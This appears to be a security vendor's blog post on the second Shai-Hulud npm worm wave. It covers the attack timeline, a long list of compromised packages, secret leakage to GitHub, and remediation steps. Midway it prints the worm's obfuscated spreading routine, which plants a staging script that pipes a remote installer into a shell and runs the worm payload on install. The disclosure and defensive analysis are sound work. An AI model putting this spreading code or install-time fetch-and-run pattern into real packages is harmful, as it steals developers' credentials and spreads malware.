It's another Monday morning, sitting down at the computer. And I see a stack of alerts from the last hour of packages showing signs of malware in our triage queue. Having not yet finished my first cup of coffee, I see Shai Hulud indicators. Yikes, surely that's a false positive? Nope, welcome to Monday, Shai Hulud struck again. Strap in.
Timeline of the Shai-Hulud Campaign
The timing is notable, given npm’s recent announcement that it will revoke classic tokens on December 9 after the wave of supply-chain attacks. With many users still not migrated to trusted publishing, the attacker seized the moment for one more hit before npm’s deadline.
- August 27 - We release our report detailing the S1ngularity campaign targeting several nx packages on npm.
- September 16 - The attacker strikes again, launching the first wave of the Shai-Hulud attacks.
- September 18 - We publish a follow-up analysis, diving deeper into the campaign’s technical quirks and early payload behavior.
- November 24 - A second strike occurs, dubbed the “Second Coming” by the attackers, timed just before npm’s deadline for revoking old tokens.
What is Shai-Hulud?: A Quick Refresher
Shai-Hulud, named after the gigantic sandworms from Dune as part of the attacker's flair for theatrics, is a self-replicating npm worm built to spread quickly through compromised developer environments. Once it infects a system, it searches for exposed secrets such as API keys and tokens using TruffleHog and publishes anything it finds to a public GitHub repository. It then attempts to push new copies of itself to npm, helping it propagate across the ecosystem, while exfiltrating data back to the attacker. Keeping with the dramatic theme, the attacker refers to this latest wave as the “Second Coming.”
Differences from last time
This time around, there are some significant differences in the attack:
- It install bun with the file
setup_bun.jsand then uses that to executebun_environment.jswhich is the actual malicious code. - It creates a randomly named repository with stolen data, rather than a hardcoded name.
- It will infect up to 100 npm packages, compared to 20 last time.
- If it can't authenticate with GitHub or NPM, it will wipe all files in the users Home directory.
Which packages are affected?
We've detected the following packages compromised with a new version of Shai Hulud. Between all these 492 packages, they have a total of 132 million monthly downloads:
- @asyncapi/diff
- @asyncapi/nodejs-ws-template
- go-template
- @asyncapi/avro-schema-parser
- @asyncapi/converter
- @asyncapi/dotnet-rabbitmq-template
- @asyncapi/nunjucks-filters
- @asyncapi/protobuf-schema-parser
- @asyncapi/problem
- @asyncapi/optimizer
- @asyncapi/python-paho-template
- @asyncapi/multi-parser
- @asyncapi/bundler
- @asyncapi/php-template
- asyncapi-preview
- @asyncapi/java-spring-cloud-stream-template
- @asyncapi/modelina-cli
- @asyncapi/generator-helpers
- @asyncapi/java-template
- @asyncapi/react-component
- @asyncapi/generator
- @asyncapi/server-api
- @asyncapi/java-spring-template
- @asyncapi/cli
- @asyncapi/web-component
- @asyncapi/specs
- @asyncapi/modelina
- @asyncapi/parser
- @asyncapi/html-template
- @asyncapi/go-watermill-template
- @asyncapi/openapi-schema-parser
- @asyncapi/edavisualiser
- @asyncapi/generator-components
- dotnet-template
- @asyncapi/keeper
- github-action-for-generator
- @asyncapi/nodejs-template
- @asyncapi/markdown-template
- @quick-start-soft/quick-git-clean-markdown
- @quick-start-soft/quick-markdown-image
- @quick-start-soft/quick-markdown-translator
- @quick-start-soft/quick-markdown
- test23112222-api
- @asyncapi/generator-react-sdk
- @quick-start-soft/quick-markdown-compose
- iron-shield-miniapp
- manual-billing-system-miniapp-api
- shinhan-limit-scrap
- @strapbuild/react-native-perspective-image-cropper
- react-native-use-modal
- @quick-start-soft/quick-task-refine
- @strapbuild/react-native-date-time-picker
- @strapbuild/react-native-perspective-image-cropper-2
- create-glee-app
- @strapbuild/react-native-perspective-image-cropper-poojan31
- @asyncapi/studio
- @quick-start-soft/quick-markdown-print
- @quick-start-soft/quick-remove-image-background
- eslint-config-zeallat-base
- korea-administrative-area-geo-json-util
- @quick-start-soft/quick-document-translator
- axios-builder
- posthog-node
- @posthog/first-time-event-tracker
- @posthog/event-sequence-timer-plugin
- @posthog/gitub-star-sync-plugin
- posthog-plugin-hello-world
- @posthog/bitbucket-release-tracker
- @posthog/maxmind-plugin
- @posthog/postgres-plugin
- @posthog/twilio-plugin
- @posthog/cli
- @posthog/clickhouse
- @posthog/snowflake-export-plugin
- posthog-react-native-session-replay
- @posthog/drop-events-on-property-plugin
- @posthog/github-release-tracking-plugin
- @posthog/icons
- @posthog/geoip-plugin
- @posthog/intercom-plugin
- @posthog/plugin-unduplicates
- @posthog/react-rrweb-player
- drop-events-on-property-plugin
- @posthog/ingestion-alert-plugin
- @posthog/kinesis-plugin
- @posthog/laudspeaker-plugin
- @posthog/nextjs
- @posthog/nextjs-config
- @posthog/automatic-cohorts-plugin
- @posthog/migrator3000-plugin
- @posthog/pagerduty-plugin
- @posthog/plugin-contrib
- @posthog/sendgrid-plugin
- @posthog/customerio-plugin
- @posthog/rrweb-utils
- @posthog/taxonomy-plugin
- @posthog/zendesk-plugin
- @posthog/netdata-event-processing
- @posthog/url-normalizer-plugin
- posthog-docusaurus
- @posthog/currency-normalization-plugin
- @posthog/filter-out-plugin
- @posthog/heartbeat-plugin
- @actbase/react-native-fast-image
- @posthog/ai
- @posthog/databricks-plugin
- @actbase/react-native-kakao-channel
- calc-loan-interest
- @actbase/react-absolute
- @actbase/react-daum-postcode
- @actbase/react-native-simple-video
- @posthog/core
- @posthog/lemon-ui
- @seung-ju/next
- @seung-ju/react-hooks
- posthog-react-native
- @actbase/css-to-react-native-transform
- @actbase/react-native-actionsheet
- @actbase/react-native-tiktok
- @seung-ju/react-native-action-sheet
- @actbase/react-kakaosdk
- @posthog/agent
- @posthog/variance-plugin
- discord-bot-server
- @posthog/rrweb-replay
- @posthog/rrweb-snapshot
- @actbase/node-server
- @actbase/react-native-devtools
- @posthog/plugin-server
- @posthog/rrweb-record
- @actbase/native
- @actbase/react-native-less-transformer
- @posthog/rrweb
- posthog-js
- @posthog/web-dev-server
- @posthog/piscina
- @posthog/nuxt
- @posthog/rrweb-player
- @posthog/wizard
- @actbase/react-native-kakao-navi
- @posthog/siphash
- @posthog/twitter-followers-plugin
- @actbase/react-native-naver-login
- @seung-ju/openapi-generator
- @posthog/rrdom
- @posthog/hedgehog-mode
- react-native-worklet-functions
- expo-audio-session
- poper-react-sdk
- @postman/secret-scanner-wasm
- @postman/csv-parse
- @postman/node-keytar
- @postman/tunnel-agent
- @postman/pm-bin-macos-arm64
- @postman/pm-bin-linux-x64
- @postman/postman-collection-fork
- @postman/postman-mcp-server
- @postman/wdio-junit-reporter
- @postman/aether-icons
- @postman/postman-mcp-cli
- @postman/pretty-ms
- @postman/pm-bin-windows-x64
- @postman/wdio-allure-reporter
- @postman/final-node-keytar
- @postman/pm-bin-macos-x64
- @aryanhussain/my-angular-lib
- capacitor-plugin-apptrackingios
- capacitor-plugin-purchase
- capacitor-purchase-history
- capacitor-voice-recorder-wav
- scgs-capacitor-subscribe
- @postman/mcp-ui-client
- capacitor-plugin-scgssigninwithgoogle
- @kvytech/medusa-plugin-announcement
- @kvytech/medusa-plugin-product-reviews
- medusa-plugin-zalopay
- scgsffcreator
- @kvytech/habbit-e2e-test
- medusa-plugin-logs
- medusa-plugin-product-reviews-kvy
- @kvytech/medusa-plugin-promotion
- medusa-plugin-momo
- @kvytech/components
- medusa-plugin-announcement
- @kvytech/cli
- @kvytech/medusa-plugin-newsletter
- @kvytech/medusa-plugin-management
- @kvytech/web
- create-hardhat3-app
- test-hardhat-app
- evm-checkcode-cli
- gate-evm-tools-test
- gate-evm-check-code2
- web-types-htmx
- test-foundry-app
- web-types-lit
- bun-plugin-httpfile
- open2internet
- vite-plugin-httpfile
- @ensdomains/vite-plugin-i18next-loader
- @ensdomains/blacklist
- @ensdomains/durin
- @ensdomains/renewal
- @ensdomains/cypress-metamask
- bytecode-checker-cli
- @ensdomains/dnsprovejs
- @ensdomains/ccip-read-dns-gateway
- @ensdomains/ccip-read-cf-worker
- @ensdomains/dnssec-oracle-anchors
- @ensdomains/reverse-records
- @ensdomains/ens-test-env
- @ensdomains/hackathon-registrar
- @ensdomains/renewal-widget
- crypto-addr-codec
- @ensdomains/solsha1
- @ensdomains/server-analytics
- @ensdomains/ui
- @ensdomains/test-utils
- @ensdomains/mock
- @ensdomains/ccip-read-router
- @zapier/babel-preset-zapier
- @ensdomains/hardhat-chai-matchers-viem
- @ensdomains/ccip-read-worker-viem
- @zapier/browserslist-config-zapier
- @zapier/zapier-sdk
- @zapier/stubtree
- zapier-async-storage
- @zapier/ai-actions
- @zapier/mcp-integration
- @zapier/spectral-api-ruleset
- @ensdomains/address-encoder
- redux-router-kit
- @ensdomains/eth-ens-namehash
- zapier-scripts
- @ensdomains/buffer
- @ensdomains/thorin
- zapier-platform-legacy-scripting-runner
- zapier-platform-schema
- @ensdomains/dnssecoraclejs
- zapier-platform-core
- @ensdomains/op-resolver-contracts
- @ensdomains/ens-archived-contracts
- @ensdomains/ensjs
- @ensdomains/subdomain-registrar
- @ensdomains/unruggable-gateways
- @ensdomains/web3modal
- zapier-platform-cli
- @ensdomains/ens-contracts
- @ensdomains/react-ens-address
- @ensdomains/curvearithmetics
- @zapier/secret-scrubber
- @ensdomains/hardhat-toolbox-viem-extended
- ethereum-ens
- @ensdomains/durin-middleware
- @ensdomains/unicode-confusables
- @ensdomains/ensjs-react
- @ensdomains/content-hash
- @ensdomains/ens-avatar
- @zapier/ai-actions-react
- @zapier/eslint-plugin-zapier
- @ensdomains/offchain-resolver-contracts
- @ensdomains/ens-validation
- @ensdomains/name-wrapper
- @hapheus/n8n-nodes-pgp
- @markvivanco/app-version-checker
- claude-token-updater
- n8n-nodes-tmdb
- devstart-cli
- skills-use
- @mcp-use/inspector
- zuper-sdk
- zuper-stream
- @mcp-use/mcp-use
- create-mcp-use-app
- mcp-use
- @mcp-use/cli
- zuper-cli
- @caretive/caret-cli
- cpu-instructions
- lite-serper-mcp-server
- @louisle2/core
- jan-browser
- exact-ticker
- react-library-setup
- orbit-soap
- @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode
- token.js-fork
- react-component-taggers
- @louisle2/cortex-js
- orbit-nebula-editor
- @trigo/pathfinder-ui-css
- @trigo/jsdt
- @trigo/atrix-redis
- @trigo/eslint-config-trigo
- @trigo/atrix-orientdb
- @trigo/node-soap
- eslint-config-trigo
- @trigo/bool-expressions
- @trigo/atrix-pubsub
- @trigo/atrix-elasticsearch
- @trigo/hapi-auth-signedlink
- @trigo/keycloak-api
- @trigo/atrix-soap
- @trigo/atrix-swagger
- @trigo/atrix-acl
- atrix
- redux-forge
- @trigo/atrix-mongoose
- @trigo/atrix
- orbit-boxicons
- atrix-mongoose
- bool-expressions
- react-element-prompt-inspector
- trigo-react-app
- @trigo/trigo-hapijs
- @trigo/fsm
- command-irail
- @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode
- @trigo/atrix-postgres
- @orbitgtbelgium/time-slider
- @orbitgtbelgium/orbit-components
- orbit-nebula-draw-tools
- typeorm-orbit
- @mparpaillon/connector-parse
- @mparpaillon/imagesloaded
- @commute/market-data
- gitsafe
- @osmanekrem/error-handler
- @commute/bloom
- okta-react-router-6
- designstudiouiux
- itobuz-angular
- @ifelsedeveloper/protocol-contracts-svm-idl
- ito-button
- @dev-blinq/cucumber_client
- blinqio-executions-cli
- itobuz-angular-auth
- @dev-blinq/ai-qa-logic
- axios-timed
- react-native-email
- tenacious-fetch
- kill-port
- jacob-zuma
- luno-api
- @lessondesk/eslint-config
- sort-by-distance
- just-toasty
- image-to-uri
- react-native-phone-call
- formik-error-focus
- jquery-bindings
- @lessondesk/babel-preset
- barebones-css
- coinmarketcap-api
- license-o-matic
- @varsityvibe/api-client
- pico-uid
- hyperterm-hipster
- set-nested-prop
- bytes-to-x
- enforce-branch-name
- fittxt
- get-them-args
- react-native-retriable-fetch
- svelte-autocomplete-select
- feature-flip
- lint-staged-imagemin
- react-native-view-finder
- formik-store
- shell-exec
- react-native-log-level
- @everreal/web-analytics
- react-native-jam-icons
- @thedelta/eslint-config
- parcel-plugin-asset-copier
- react-native-websocket
- ra-data-firebase
- react-jam-icons
- react-native-fetch
- @ifings/design-system
- gatsby-plugin-cname
- @alexcolls/nuxt-ux
- react-native-datepicker-modal
- undefsafe-typed
- chrome-extension-downloads
- @alexcolls/nuxt-socket.io
- fuzzy-finder
- sa-company-registration-number-regex
- flapstacks
- react-keycloak-context
- react-qr-image
- @tiaanduplessis/react-progressbar
- @lessondesk/schoolbus
- @tiaanduplessis/json
- react-native-get-pixel-dimensions
- nanoreset
- next-circular-dependency
- url-encode-decode
- axios-cancelable
- compare-obj
- wenk
- haufe-axera-api-client
- obj-to-css
- sa-id-gen
- @lessondesk/api-client
- @varsityvibe/validation-schemas
- flatten-unflatten
- stoor
- @clausehq/flows-step-jsontoxml
- @accordproject/concerto-analysis
- hope-mapboxdraw
- count-it-down
- hopedraw
- @accordproject/markdown-it-cicero
- piclite
- @fishingbooker/react-swiper
- @fishingbooker/browser-sync-plugin
- generator-meteor-stock
- @fishingbooker/react-loader
- benmostyn-frame-print
- @fishingbooker/react-pagination
- @voiceflow/anthropic
- @voiceflow/voice-types
- @voiceflow/default-prompt-wrappers
- @voiceflow/npm-package-json-lint-config
- @voiceflow/nestjs-mongodb
- @voiceflow/tsconfig
- @voiceflow/test-common
- @voiceflow/husky-config
- @voiceflow/commitlint-config
- @voiceflow/git-branch-check
- normal-store
- @voiceflow/prettier-config
- @voiceflow/stylelint-config
- vf-oss-template
- @voiceflow/storybook-config
- @voiceflow/verror
- @voiceflow/alexa-types
- @voiceflow/nestjs-timeout
- @voiceflow/serverless-plugin-typescript
- @voiceflow/voiceflow-types
- shelf-jwt-sessions
- @hover-design/react
- @voiceflow/base-types
- @voiceflow/eslint-config
- @voiceflow/fetch
- @voiceflow/common
- @voiceflow/eslint-plugin
- @voiceflow/exception
- @voiceflow/dtos-interact
- @voiceflow/google-types
- @voiceflow/nestjs-common
- @voiceflow/pino
- @voiceflow/sdk-runtime
- @voiceflow/nestjs-rate-limit
- @voiceflow/openai
- dialogflow-es
- @voiceflow/widget
- arc-cli-fc
- composite-reducer
- bidirectional-adapter
- @antstackio/express-graphql-proxy
- @antstackio/json-to-graphql
- @voiceflow/body-parser
- @voiceflow/logger
- @antstackio/eslint-config-antstack
- @voiceflow/vitest-config
- @faq-component/core
- @pruthvi21/use-debounce
- @voiceflow/api-sdk
- @hover-design/core
- @faq-component/react
- @voiceflow/semantic-release-config
- @voiceflow/vite-config
- @voiceflow/circleci-config-sdk-orb-import
- @voiceflow/backend-utils
- @voiceflow/slate-serializer
- @voiceflow/google-dfes-types
- n8n-nodes-viral-app
- @accordproject/markdown-docx
- @clausehq/flows-step-sendgridemail
- @lpdjs/firestore-repo-service
- @trefox/sleekshop-js
- invo
- jsonsurge
- mon-package-react-typescript
- rediff
- solomon-api-stories
- solomon-v3-stories
- solomon-v3-ui-wrapper
- tcsp-draw-test
- uplandui
Leaking secrets
This time, the malware also publishes secrets to GitHub, with a random name and the repository description:
"Sha1-Hulud: The Second Coming."
Currently we see 26.3k repositories exposed:

Mistakes made again
As we've been analzying all these packages, we've noticed a number of compromised packages that appear to be from community spread, which contain the initial staging code in setup_bun.js, but NOT bun_environment.js which is the Shai Hulud worm itself. Here's the code that spreads the worm into other packages:
async ["bundleAssets"](_0x349b3d) {
let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n try {\n const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n execSync(command, { stdio: 'ignore' });\n return true;\n } catch {\n return false;\n }\n}\n\nfunction reloadPath() {\n // Reload PATH environment variable\n if (process.platform === 'win32') {\n try {\n // On Windows, get updated PATH from registry\n const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n encoding: 'utf8'\n });\n process.env.PATH = result.trim();\n } catch {\n }\n } else {\n try {\n // On Unix systems, source common shell profile files\n const homeDir = os.homedir();\n const profileFiles = [\n path.join(homeDir, '.bashrc'),\n path.join(homeDir, '.bash_profile'),\n path.join(homeDir, '.profile'),\n path.join(homeDir, '.zshrc')\n ];\n\n // Try to source profile files to get updated PATH\n for (const profileFile of profileFiles) {\n if (fs.existsSync(profileFile)) {\n try {\n const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n encoding: 'utf8',\n stdio: ['pipe', 'pipe', 'ignore']\n });\n if (result && result.trim()) {\n process.env.PATH = result.trim();\n break;\n }\n } catch {\n // Continue to next profile file\n }\n }\n }\n\n // Also check if ~/.bun/bin exists and add it to PATH if not already there\n const bunBinDir = path.join(homeDir, '.bun', 'bin');\n if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n }\n } catch {}\n }\n}\n\nasync function downloadAndSetupBun() {\n try {\n let command;\n if (process.platform === 'win32') {\n // Windows: Use PowerShell script\n command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n } else {\n // Linux/macOS: Use curl + bash script\n command = 'curl -fsSL https://bun.sh/install | bash';\n }\n\n execSync(command, {\n stdio: 'ignore',\n env: { ...process.env }\n });\n\n // Reload PATH to pick up newly installed bun\n reloadPath();\n\n // Find bun executable after installation\n const bunPath = findBunExecutable();\n if (!bunPath) {\n throw new Error('Bun installation completed but executable not found');\n }\n\n return bunPath;\n } catch {\n process.exit(0);\n }\n}\n\nfunction findBunExecutable() {\n // Common locations where bun might be installed\n const possiblePaths = [];\n\n if (process.platform === 'win32') {\n // Windows locations\n const userProfile = process.env.USERPROFILE || '';\n possiblePaths.push(\n path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n );\n } else {\n // Unix locations\n const homeDir = os.homedir();\n possiblePaths.push(\n path.join(homeDir, '.bun', 'bin', 'bun'),\n '/usr/local/bin/bun',\n '/opt/bun/bin/bun'\n );\n }\n\n // Check if bun is now available on PATH\n if (isBunOnPath()) {\n return 'bun';\n }\n\n // Check common installation paths\n for (const bunPath of possiblePaths) {\n if (fs.existsSync(bunPath)) {\n return bunPath;\n }\n }\n\n return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n const child = spawn(execPath, args, {\n stdio: 'ignore',\n cwd: opts.cwd || process.cwd(),\n env: Object.assign({}, process.env, opts.env || {})\n });\n\n child.on('error', (err) => {\n process.exit(0);\n });\n\n child.on('exit', (code, signal) => {\n if (signal) {\n process.exit(0);\n } else {\n process.exit(code === null ? 1 : code);\n }\n });\n}\n\n// Main execution\nasync function main() {\n let bunExecutable;\n\n if (isBunOnPath()) {\n // Use bun from PATH\n bunExecutable = 'bun';\n } else {\n // Check if we have a locally downloaded bun\n const localBunDir = path.join(__dirname, 'bun-dist');\n const possiblePaths = [\n path.join(localBunDir, 'bun', 'bun'),\n path.join(localBunDir, 'bun', 'bun.exe'),\n path.join(localBunDir, 'bun.exe'),\n path.join(localBunDir, 'bun')\n ];\n\n const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n if (existingBun) {\n bunExecutable = existingBun;\n } else {\n // Download and setup bun\n bunExecutable = await downloadAndSetupBun();\n }\n }\n\n const environmentScript = path.join(__dirname, 'bun_environment.js');\n if (fs.existsSync(environmentScript)) {\n runExecutable(bunExecutable, [environmentScript]);\n } else {\n process.exit(0);\n }\n}\n\nmain().catch((error) => {\n process.exit(0);\n});\n");
let _0x3ed61a = process.argv[0x1];
if (_0x3ed61a && (await My1(_0x3ed61a))) {
let _0x1028dd = await mL0(_0x3ed61a);
if (_0x1028dd !== null) {
let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
await iL0(_0x4cc8b3, _0x1028dd);
}
}
}We see that the bun_environment.js may sometimes not be bundled, depending on different factors. It appears that mistakes were once again made by the attackers. This appears to have limited the imapct of the attack at this time.
Compromised GitHub repositories
The AsyncAPI team detected that there had been a branch of their CLI project, which was created just prior to the malicious packages being pushed, which deployed a version of the Shai Hulud malware.
https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

This suggests that the attackers may have used a similar technique to how they pulled off the original Nx compromise.
Patient zero
We detected the first packages starting at 11/24/2025 3:16:26 AM GMT+0, which were the packages go-template, and 36 packages from AsyncAPI. Many more packages were quickly compromised. Afterwards, they started compromising PostHog packages at 11/24/2025 4:11:55 AM GMT+0, and Postman packages at 11/24/2025 5:09:25 AM GMT+0.
Potential impact of Shai-Hulud: Second Coming
Threat actors have slipped malicious code into hundreds of NPM packages — including major ones from Zapier, ENS, AsyncAPI, PostHog, Browserbase, and Postman. If a developer installs one of these bad packages, the malware quietly runs during installation, before anything even finishes installing. This gives it access to the developer’s machine, build systems, or cloud environment. It then uses an automated tool (TruffleHog) to search for sensitive information like passwords, API keys, cloud tokens, and GitHub or NPM credentials. Anything it finds is uploaded to a public GitHub repository labeled “Sha1-Hulud: The Second Coming.” If those stolen secrets include access to code repositories or package registries, attackers can use them to break into more accounts and publish more malicious packages, helping the attack spread further. Because trusted ecosystems were involved and millions of downloads are affected, any team using NPM should immediately check whether they were impacted and rotate any credentials that may have leaked.
Which actions should security teams take?
- Audit all Zapier/ENS-related npm dependencies and versions.
- Rotate all GitHub, npm, cloud, and CI/CD secrets used during installs.
- Check GitHub for strange repos with the description “Sha1-Hulud: The Second Coming”
- Disable npm
postinstallscripts in CI where possible. - Pin package versions and enforce MFA on GitHub and npm accounts.
- Use tools like Safe-Chain to block malicious packages on NPM
Story developing... Stay tuned for updates.

.avif)
